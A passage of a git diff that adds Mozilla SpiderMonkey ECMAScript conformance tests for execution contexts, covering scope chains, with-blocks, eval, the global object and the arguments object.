+ gTestcases[gTc].passed = writeTestCaseResult(
+ gTestcases[gTc].expect,
+ gTestcases[gTc].actual,
+ gTestcases[gTc].description +" = "+
+ gTestcases[gTc].actual );
+
+ gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value ";
+ }
+ return ( gTestcases );
+}
+function MyObject() {
+ this.eval = new Function( "x", "return(Math.pow(Number(x),2))" );
+}
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.4-6.js b/js/src/tests/ecma/ExecutionContexts/10.1.4-6.js
new file mode 100644
index 000000000..d5b13812e
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.4-6.js
@@ -0,0 +1,66 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.4-1.js
+ ECMA Section: 10.1.4 Scope Chain and Identifier Resolution
+ Description:
+ Every execution context has associated with it a scope chain. This is
+ logically a list of objects that are searched when binding an Identifier.
+ When control enters an execution context, the scope chain is created and
+ is populated with an initial set of objects, depending on the type of
+ code. When control leaves the execution context, the scope chain is
+ destroyed.
+
+ During execution, the scope chain of the execution context is affected
+ only by WithStatement. When execution enters a with block, the object
+ specified in the with statement is added to the front of the scope chain.
+ When execution leaves a with block, whether normally or via a break or
+ continue statement, the object is removed from the scope chain. The object
+ being removed will always be the first object in the scope chain.
+
+ During execution, the syntactic production PrimaryExpression : Identifier
+ is evaluated using the following algorithm:
+
+ 1. Get the next object in the scope chain. If there isn't one, go to step 5.
+ 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as
+ the property.
+ 3. If Result(2) is true, return a value of type Reference whose base object
+ is Result(l) and whose property name is the Identifier.
+ 4. Go to step 1.
+ 5. Return a value of type Reference whose base object is null and whose
+ property name is the Identifier.
+ The result of binding an identifier is always a value of type Reference with
+ its member name component equal to the identifier string.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "10.1.4-6";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution");
+
+
+var testcase = new TestCase( "SECTION",
+ "with MyObject, eval should be [object Global].eval " );
+
+var MYOBJECT = new MyObject();
+var INPUT = 2;
+testcase.description += ( INPUT +"" );
+
+with ( MYOBJECT ) {
+ ;
+}
+testcase.actual = eval( INPUT );
+testcase.expect = INPUT;
+
+test();
+
+
+function MyObject() {
+ this.eval = new Function( "x", "return(Math.pow(Number(x),2))" );
+}
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.4-7.js b/js/src/tests/ecma/ExecutionContexts/10.1.4-7.js
new file mode 100644
index 000000000..5b3aa3adf
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.4-7.js
@@ -0,0 +1,77 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.4-7.js
+ ECMA Section: 10.1.4 Scope Chain and Identifier Resolution
+ Description:
+ Every execution context has associated with it a scope chain. This is
+ logically a list of objects that are searched when binding an Identifier.
+ When control enters an execution context, the scope chain is created and
+ is populated with an initial set of objects, depending on the type of
+ code. When control leaves the execution context, the scope chain is
+ destroyed.
+
+ During execution, the scope chain of the execution context is affected
+ only by WithStatement. When execution enters a with block, the object
+ specified in the with statement is added to the front of the scope chain.
+ When execution leaves a with block, whether normally or via a break or
+ continue statement, the object is removed from the scope chain. The object
+ being removed will always be the first object in the scope chain.
+
+ During execution, the syntactic production PrimaryExpression : Identifier
+ is evaluated using the following algorithm:
+
+ 1. Get the next object in the scope chain. If there isn't one, go to step 5.
+ 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as
+ the property.
+ 3. If Result(2) is true, return a value of type Reference whose base object
+ is Result(l) and whose property name is the Identifier.
+ 4. Go to step 1.
+ 5. Return a value of type Reference whose base object is null and whose
+ property name is the Identifier.
+ The result of binding an identifier is always a value of type Reference with
+ its member name component equal to the identifier string.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "10.1.4-7";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution");
+
+new TestCase( "SECTION",
+ "with MyObject, eval should be [object Global].eval " );
+test();
+
+function test() {
+ for ( gTc=0; gTc < gTestcases.length; gTc++ ) {
+
+ var MYOBJECT = new MyObject();
+ var INPUT = 2;
+ gTestcases[gTc].description += ( INPUT +"" );
+
+ with ( MYOBJECT ) {
+ delete( eval );
+ gTestcases[gTc].actual = eval( INPUT );
+ gTestcases[gTc].expect = INPUT;
+ }
+
+ gTestcases[gTc].passed = writeTestCaseResult(
+ gTestcases[gTc].expect,
+ gTestcases[gTc].actual,
+ gTestcases[gTc].description +" = "+
+ gTestcases[gTc].actual );
+
+ gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value ";
+ }
+ return ( gTestcases );
+}
+
+function MyObject() {
+ this.eval = new Function( "x", "return(Math.pow(Number(x),2))" );
+}
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.4-8.js b/js/src/tests/ecma/ExecutionContexts/10.1.4-8.js
new file mode 100644
index 000000000..583708199
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.4-8.js
@@ -0,0 +1,78 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.4-1.js
+ ECMA Section: 10.1.4 Scope Chain and Identifier Resolution
+ Description:
+ Every execution context has associated with it a scope chain. This is
+ logically a list of objects that are searched when binding an Identifier.
+ When control enters an execution context, the scope chain is created and
+ is populated with an initial set of objects, depending on the type of
+ code. When control leaves the execution context, the scope chain is
+ destroyed.
+
+ During execution, the scope chain of the execution context is affected
+ only by WithStatement. When execution enters a with block, the object
+ specified in the with statement is added to the front of the scope chain.
+ When execution leaves a with block, whether normally or via a break or
+ continue statement, the object is removed from the scope chain. The object
+ being removed will always be the first object in the scope chain.
+
+ During execution, the syntactic production PrimaryExpression : Identifier
+ is evaluated using the following algorithm:
+
+ 1. Get the next object in the scope chain. If there isn't one, go to step 5.
+ 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as
+ the property.
+ 3. If Result(2) is true, return a value of type Reference whose base object
+ is Result(l) and whose property name is the Identifier.
+ 4. Go to step 1.
+ 5. Return a value of type Reference whose base object is null and whose
+ property name is the Identifier.
+ The result of binding an identifier is always a value of type Reference with
+ its member name component equal to the identifier string.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "10.1.4-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution");
+
+new TestCase( "SECTION",
+ "with MyObject, eval should cube INPUT: " );
+test();
+
+function test() {
+ for ( gTc=0; gTc < gTestcases.length; gTc++ ) {
+
+ var MYOBJECT = new MyObject();
+ var INPUT = 2;
+ gTestcases[gTc].description += ( INPUT +"" );
+
+ with ( MYOBJECT ) {
+ eval = new Function ( "x", "return(Math.pow(Number(x),3))" );
+
+ gTestcases[gTc].actual = eval( INPUT );
+ gTestcases[gTc].expect = Math.pow(INPUT,3);
+ }
+
+ gTestcases[gTc].passed = writeTestCaseResult(
+ gTestcases[gTc].expect,
+ gTestcases[gTc].actual,
+ gTestcases[gTc].description +" = "+
+ gTestcases[gTc].actual );
+
+ gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value ";
+ }
+ return ( gTestcases );
+}
+
+function MyObject() {
+ this.eval = new Function( "x", "return(Math.pow(Number(x),2))" );
+}
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.5-1.js b/js/src/tests/ecma/ExecutionContexts/10.1.5-1.js
new file mode 100644
index 000000000..17dae58b1
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.5-1.js
@@ -0,0 +1,84 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.5-1.js
+ ECMA Section: 10.1.5 Global Object
+ Description:
+ There is a unique global object which is created before control enters
+ any execution context. Initially the global object has the following
+ properties:
+
+ Built-in objects such as Math, String, Date, parseInt, etc. These have
+ attributes { DontEnum }.
+
+ Additional host defined properties. This may include a property whose
+ value is the global object itself, for example window in HTML.
+
+ As control enters execution contexts, and as ECMAScript code is executed,
+ additional properties may be added to the global object and the initial
+ properties may be changed.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "10.5.1-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Global Object");
+
+
+new TestCase( "SECTION", "Global Code check" );
+
+if ( Object == null ) {
+ gTestcases[0].reason += " Object == null" ;
+}
+if ( Function == null ) {
+ gTestcases[0].reason += " Function == null";
+}
+if ( String == null ) {
+ gTestcases[0].reason += " String == null";
+}
+if ( Array == null ) {
+ gTestcases[0].reason += " Array == null";
+}
+if ( Number == null ) {
+ gTestcases[0].reason += " Function == null";
+}
+if ( Math == null ) {
+ gTestcases[0].reason += " Math == null";
+}
+if ( Boolean == null ) {
+ gTestcases[0].reason += " Boolean == null";
+}
+if ( Date == null ) {
+ gTestcases[0].reason += " Date == null";
+}
+/*
+ if ( NaN == null ) {
+ gTestcases[0].reason += " NaN == null";
+ }
+ if ( Infinity == null ) {
+ gTestcases[0].reason += " Infinity == null";
+ }
+*/
+if ( eval == null ) {
+ gTestcases[0].reason += " eval == null";
+}
+if ( parseInt == null ) {
+ gTestcases[0].reason += " parseInt == null";
+}
+
+if ( gTestcases[0].reason != "" ) {
+ gTestcases[0].actual = "fail";
+} else {
+ gTestcases[0].actual = "pass";
+}
+gTestcases[0].expect = "pass";
+
+test();
+
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.5-2.js b/js/src/tests/ecma/ExecutionContexts/10.1.5-2.js
new file mode 100644
index 000000000..e27c7b03b
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.5-2.js
@@ -0,0 +1,66 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.5-2.js
+ ECMA Section: 10.1.5 Global Object
+ Description:
+ There is a unique global object which is created before control enters
+ any execution context. Initially the global object has the following
+ properties:
+
+ Built-in objects such as Math, String, Date, parseInt, etc. These have
+ attributes { DontEnum }.
+
+ Additional host defined properties. This may include a property whose
+ value is the global object itself, for example window in HTML.
+
+ As control enters execution contexts, and as ECMAScript code is executed,
+ additional properties may be added to the global object and the initial
+ properties may be changed.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "10.5.1-2";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Global Object");
+
+new TestCase( "SECTION", "Eval Code check" );
+
+var EVAL_STRING = 'if ( Object == null ) { gTestcases[0].reason += " Object == null" ; }' +
+ 'if ( Function == null ) { gTestcases[0].reason += " Function == null"; }' +
+ 'if ( String == null ) { gTestcases[0].reason += " String == null"; }' +
+ 'if ( Array == null ) { gTestcases[0].reason += " Array == null"; }' +
+ 'if ( Number == null ) { gTestcases[0].reason += " Function == null";}' +
+ 'if ( Math == null ) { gTestcases[0].reason += " Math == null"; }' +
+ 'if ( Boolean == null ) { gTestcases[0].reason += " Boolean == null"; }' +
+ 'if ( Date == null ) { gTestcases[0].reason += " Date == null"; }' +
+ 'if ( eval == null ) { gTestcases[0].reason += " eval == null"; }' +
+ 'if ( parseInt == null ) { gTestcases[0].reason += " parseInt == null"; }' ;
+
+eval( EVAL_STRING );
+
+/*
+ if ( NaN == null ) {
+ gTestcases[0].reason += " NaN == null";
+ }
+ if ( Infinity == null ) {
+ gTestcases[0].reason += " Infinity == null";
+ }
+*/
+
+if ( gTestcases[0].reason != "" ) {
+ gTestcases[0].actual = "fail";
+} else {
+ gTestcases[0].actual = "pass";
+}
+gTestcases[0].expect = "pass";
+
+test();
+
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.5-3.js b/js/src/tests/ecma/ExecutionContexts/10.1.5-3.js
new file mode 100644
index 000000000..20121f7a3
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.5-3.js
@@ -0,0 +1,95 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.5-3.js
+ ECMA Section: 10.1.5 Global Object
+ Description:
+ There is a unique global object which is created before control enters
+ any execution context. Initially the global object has the following
+ properties:
+
+ Built-in objects such as Math, String, Date, parseInt, etc. These have
+ attributes { DontEnum }.
+
+ Additional host defined properties. This may include a property whose
+ value is the global object itself, for example window in HTML.
+
+ As control enters execution contexts, and as ECMAScript code is executed,
+ additional properties may be added to the global object and the initial
+ properties may be changed.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "10.5.1-3";
+var VERSION = "ECMA_1";
+startTest();
+writeHeaderToLog( SECTION + " Global Object");
+
+new TestCase( "SECTION", "Function Code check" );
+
+test();
+
+function test() {
+ if ( Object == null ) {
+ gTestcases[0].reason += " Object == null" ;
+ }
+ if ( Function == null ) {
+ gTestcases[0].reason += " Function == null";
+ }
+ if ( String == null ) {
+ gTestcases[0].reason += " String == null";
+ }
+ if ( Array == null ) {
+ gTestcases[0].reason += " Array == null";
+ }
+ if ( Number == null ) {
+ gTestcases[0].reason += " Function == null";
+ }
+ if ( Math == null ) {
+ gTestcases[0].reason += " Math == null";
+ }
+ if ( Boolean == null ) {
+ gTestcases[0].reason += " Boolean == null";
+ }
+ if ( Date == null ) {
+ gTestcases[0].reason += " Date == null";
+ }
+/*
+ if ( NaN == null ) {
+ gTestcases[0].reason += " NaN == null";
+ }
+ if ( Infinity == null ) {
+ gTestcases[0].reason += " Infinity == null";
+ }
+*/
+ if ( eval == null ) {
+ gTestcases[0].reason += " eval == null";
+ }
+ if ( parseInt == null ) {
+ gTestcases[0].reason += " parseInt == null";
+ }
+
+ if ( gTestcases[0].reason != "" ) {
+ gTestcases[0].actual = "fail";
+ } else {
+ gTestcases[0].actual = "pass";
+ }
+ gTestcases[0].expect = "pass";
+
+ for ( gTc=0; gTc < gTestcases.length; gTc++ ) {
+
+ gTestcases[gTc].passed = writeTestCaseResult(
+ gTestcases[gTc].expect,
+ gTestcases[gTc].actual,
+ gTestcases[gTc].description +" = "+
+ gTestcases[gTc].actual );
+
+ gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value ";
+ }
+ return ( gTestcases );
+}
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.5-4.js b/js/src/tests/ecma/ExecutionContexts/10.1.5-4.js
new file mode 100644
index 000000000..14d2c248a
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.5-4.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.5-4.js
+ ECMA Section: 10.1.5 Global Object
+ Description:
+ There is a unique global object which is created before control enters
+ any execution context. Initially the global object has the following
+ properties:
+
+ Built-in objects such as Math, String, Date, parseInt, etc. These have
+ attributes { DontEnum }.
+
+ Additional host defined properties. This may include a property whose
+ value is the global object itself, for example window in HTML.
+
+ As control enters execution contexts, and as ECMAScript code is executed,
+ additional properties may be added to the global object and the initial
+ properties may be changed.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "10.5.1-4";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Global Object");
+
+new TestCase( "SECTION", "Anonymous Code check" );
+
+
+var EVAL_STRING = 'if ( Object == null ) { gTestcases[0].reason += " Object == null" ; }' +
+ 'if ( Function == null ) { gTestcases[0].reason += " Function == null"; }' +
+ 'if ( String == null ) { gTestcases[0].reason += " String == null"; }' +
+ 'if ( Array == null ) { gTestcases[0].reason += " Array == null"; }' +
+ 'if ( Number == null ) { gTestcases[0].reason += " Function == null";}' +
+ 'if ( Math == null ) { gTestcases[0].reason += " Math == null"; }' +
+ 'if ( Boolean == null ) { gTestcases[0].reason += " Boolean == null"; }' +
+ 'if ( Date == null ) { gTestcases[0].reason += " Date == null"; }' +
+ 'if ( eval == null ) { gTestcases[0].reason += " eval == null"; }' +
+ 'if ( parseInt == null ) { gTestcases[0].reason += " parseInt == null"; }' ;
+
+var NEW_FUNCTION = new Function( EVAL_STRING );
+
+if ( gTestcases[0].reason != "" ) {
+ gTestcases[0].actual = "fail";
+} else {
+ gTestcases[0].actual = "pass";
+}
+gTestcases[0].expect = "pass";
+
+test();
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.8-2.js b/js/src/tests/ecma/ExecutionContexts/10.1.8-2.js
new file mode 100644
index 000000000..27762b493
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.8-2.js
@@ -0,0 +1,86 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.8-2
+ ECMA Section: Arguments Object
+ Description:
+
+ When control enters an execution context for declared function code,
+ anonymous code, or implementation-supplied code, an arguments object is
+ created and initialized as follows:
+
+ The [[Prototype]] of the arguments object is to the original Object
+ prototype object, the one that is the initial value of Object.prototype
+ (section 15.2.3.1).
+
+ A property is created with name callee and property attributes {DontEnum}.
+ The initial value of this property is the function object being executed.
+ This allows anonymous functions to be recursive.
+
+ A property is created with name length and property attributes {DontEnum}.
+ The initial value of this property is the number of actual parameter values
+ supplied by the caller.
+
+ For each non-negative integer, iarg, less than the value of the length
+ property, a property is created with name ToString(iarg) and property
+ attributes { DontEnum }. The initial value of this property is the value
+ of the corresponding actual parameter supplied by the caller. The first
+ actual parameter value corresponds to iarg = 0, the second to iarg = 1 and
+ so on. In the case when iarg is less than the number of formal parameters
+ for the function object, this property shares its value with the
+ corresponding property of the activation object. This means that changing
+ this property changes the corresponding property of the activation object
+ and vice versa. The value sharing mechanism depends on the implementation.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "10.1.8-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Arguments Object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// Tests for anonymous functions
+
+var GetCallee = new Function( "var c = arguments.callee; return c" );
+var GetArguments = new Function( "var a = arguments; return a" );
+var GetLength = new Function( "var l = arguments.length; return l" );
+
+var ARG_STRING = "value of the argument property";
+
+new TestCase( SECTION,
+ "GetCallee()",
+ GetCallee,
+ GetCallee() );
+
+var LIMIT = 100;
+
+for ( var i = 0, args = "" ; i < LIMIT; i++ ) {
+ args += String(i) + ( i+1 < LIMIT ? "," : "" );
+
+}
+
+var LENGTH = eval( "GetLength("+ args +")" );
+
+new TestCase( SECTION,
+ "GetLength("+args+")",
+ 100,
+ LENGTH );
+
+var ARGUMENTS = eval( "GetArguments( " +args+")" );
+
+for ( var i = 0; i < 100; i++ ) {
+ new TestCase( SECTION,
+ "GetArguments("+args+")["+i+"]",
+ i,
+ ARGUMENTS[i] );
+}
+
+test();
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.8-3.js b/js/src/tests/ecma/ExecutionContexts/10.1.8-3.js
new file mode 100644
index 000000000..a928c2915
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.8-3.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.8-3
+ ECMA Section: Arguments Object
+ Description:
+
+ The [[Prototype]] of the arguments object is to the original Object
+ prototype object, the one that is the initial value of Object.prototype
+ (section 15.2.3.1).
+
+ ...
+
+ Test that "typeof arguments" is thus "object".
+
+*/
+
+var SECTION = "10.1.8-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Arguments Object";
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var expected = "object";
+var actual = (function () { return typeof arguments; })();
+reportCompare(expected, actual, "typeof arguments == object");
+
diff --git a/js/src/tests/ecma/ExecutionContexts/10.2.1.js b/js/src/tests/ecma/ExecutionContexts/10.2.1.js
new file mode 100644
index 000000000..e67971531
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.2.1.js
@@ -0,0 +1,51 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.2.1.js
+ ECMA Section: 10.2.1 Global Code
+ Description:
+
+ The scope chain is created and initialized to contain the global object and
+ no others.
+
+ Variable instantiation is performed using the global object as the variable
+ object and using empty property attributes.
+
+ The this value is the global object.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "10.2.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Global Code";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var THIS = this;
+
+new TestCase( SECTION,
+ "this +''",
+ GLOBAL,
+ THIS + "" );
+
+var GLOBAL_PROPERTIES = new Array();
+var i = 0;
+
+for ( p in this ) {
+ GLOBAL_PROPERTIES[i++] = p;
+}
+
+for ( i = 0; i < GLOBAL_PROPERTIES.length; i++ ) {
+ new TestCase( SECTION,
+ GLOBAL_PROPERTIES[i] +" == void 0",
+ false,
+ eval("GLOBAL_PROPERTIES["+i+"] == void 0"));
+}
+
+test();
diff --git a/js/src/tests/ecma/ExecutionContexts/10.2.2-1.js b/js/src/tests/ecma/ExecutionContexts/10.2.2-1.js
new file mode 100644
index 000000000..c41ad46b3
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.2.2-1.js
@@ -0,0 +1,89 @@
+// |reftest| skip-if(Android) -- bug - nsIDOMWindow.crypto throws NS_ERROR_NOT_IMPLEMENTED on Android
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.2.2-1.js
+ ECMA Section: 10.2.2 Eval Code
+ Description:
+
+ When control enters an execution context for eval code, the previous
+ active execution context, referred to as the calling context, is used to
+ determine the scope chain, the variable object, and the this value. If
+ there is no calling context, then initializing the scope chain, variable
+ instantiation, and determination of the this value are performed just as
+ for global code.
+
+ The scope chain is initialized to contain the same objects, in the same
+ order, as the calling context's scope chain. This includes objects added
+ to the calling context's scope chain by WithStatement.
+
+ Variable instantiation is performed using the calling context's variable
+ object and using empty property attributes.
+
+ The this value is the same as the this value of the calling context.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "10.2.2-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Eval Code";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var THIS = eval("this");
+
+new TestCase( SECTION,
+ "this +''",
+ GLOBAL,
+ THIS + "" );
+
+var GLOBAL_PROPERTIES = new Array();
+var i = 0;
+
+for ( p in THIS ) {
+ GLOBAL_PROPERTIES[i++] = p;
+}
+
+for ( i = 0; i < GLOBAL_PROPERTIES.length; i++ ) {
+ new TestCase( SECTION,
+ GLOBAL_PROPERTIES[i] +" == THIS["+GLOBAL_PROPERTIES[i]+"]",
+ true,
+ eval(GLOBAL_PROPERTIES[i]) == eval( "THIS[GLOBAL_PROPERTIES[i]]") );
+}
+
+// this in eval statements is the same as this value of the calling context
+
+var RESULT = THIS == this;
+
+new TestCase( SECTION,
+ "eval( 'this == THIS' )",
+ true,
+ RESULT );
+
+var RESULT = THIS +'';
+
+new TestCase( SECTION,
+ "eval( 'this + \"\"' )",
+ GLOBAL,
+ RESULT );
+
+
+new TestCase( SECTION,
+ "eval( 'this == THIS' )",
+ true,
+ eval( "this == THIS" ) );
+
+new TestCase( SECTION,
+ "eval( 'this + \"\"' )",
+ GLOBAL,
+ eval( "this +''") );
+
+
+test();
diff --git a/js/src/tests/ecma/ExecutionContexts/10.2.2-2.js b/js/src/tests/ecma/ExecutionContexts/10.2.2-2.js
new file mode 100644
index 000000000..fbcd522c6
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.2.2-2.js
@@ -0,0 +1,100 @@
+// |reftest| skip-if(Android) -- bug - nsIDOMWindow.crypto throws NS_ERROR_NOT_IMPLEMENTED on Android
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.2.2-2.js
+ ECMA Section: 10.2.2 Eval Code
+ Description:
+
+ When control enters an execution context for eval code, the previous
+ active execution context, referred to as the calling context, is used to
+ determine the scope chain, the variable object, and the this value. If
+ there is no calling context, then initializing the scope chain, variable
+ instantiation, and determination of the this value are performed just as
+ for global code.
+
+ The scope chain is initialized to contain the same objects, in the same
+ order, as the calling context's scope chain. This includes objects added
+ to the calling context's scope chain by WithStatement.
+
+ Variable instantiation is performed using the calling context's variable
+ object and using empty property attributes.
+
+ The this value is the same as the this value of the calling context.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "10.2.2-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Eval Code";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// Test Objects
+
+var OBJECT = new MyObject( "hello" );
+var GLOBAL_PROPERTIES = new Array();
+var i = 0;
+
+for ( p in this ) {
+ GLOBAL_PROPERTIES[i++] = p;
+}
+
+with ( OBJECT ) {
+ var THIS = this;
+ new TestCase( SECTION,
+ "eval( 'this == THIS' )",
+ true,
+ eval("this == THIS") );
+ new TestCase( SECTION,
+ "this in a with() block",
+ GLOBAL,
+ this+"" );
+ new TestCase( SECTION,
+ "new MyObject('hello').value",
+ "hello",
+ value );
+ new TestCase( SECTION,
+ "eval(new MyObject('hello').value)",
+ "hello",
+ eval("value") );
+ new TestCase( SECTION,
+ "new MyObject('hello').getClass()",
+ "[object Object]",
+ getClass() );
+ new TestCase( SECTION,
+ "eval(new MyObject('hello').getClass())",
+ "[object Object]",
+ eval("getClass()") );
+ new TestCase( SECTION,
+ "eval(new MyObject('hello').toString())",
+ "hello",
+ eval("toString()") );
+ new TestCase( SECTION,
+ "eval('getClass') == Object.prototype.toString",
+ true,
+ eval("getClass") == Object.prototype.toString );
+
+ for ( i = 0; i < GLOBAL_PROPERTIES.length; i++ ) {
+ new TestCase( SECTION, GLOBAL_PROPERTIES[i] +
+ " == THIS["+GLOBAL_PROPERTIES[i]+"]", true,
+ eval(GLOBAL_PROPERTIES[i]) == eval( "THIS[GLOBAL_PROPERTIES[i]]") );
+ }
+
+}
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.getClass = Object.prototype.toString;
+ this.toString = new Function( "return this.value+''" );
+ return this;
+}
diff --git a/js/src/tests/ecma/ExecutionContexts/10.2.3-1.js b/js/src/tests/ecma/ExecutionContexts/10.2.3-1.js
new file mode 100644
index 000000000..e7dd029f5
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.2.3-1.js
@@ -0,0 +1,52 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.2.3-1.js
+ ECMA Section: 10.2.3 Function and Anonymous Code
+ Description:
+
+ The scope chain is initialized to contain the activation object followed
+ by the global object. Variable instantiation is performed using the
+ activation by the global object. Variable instantiation is performed using
+ the activation object as the variable object and using property attributes
+ { DontDelete }. The caller provides the this value. If the this value
+ provided by the caller is not an object (including the case where it is
+ null), then the this value is the global object.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "10.2.3-1";
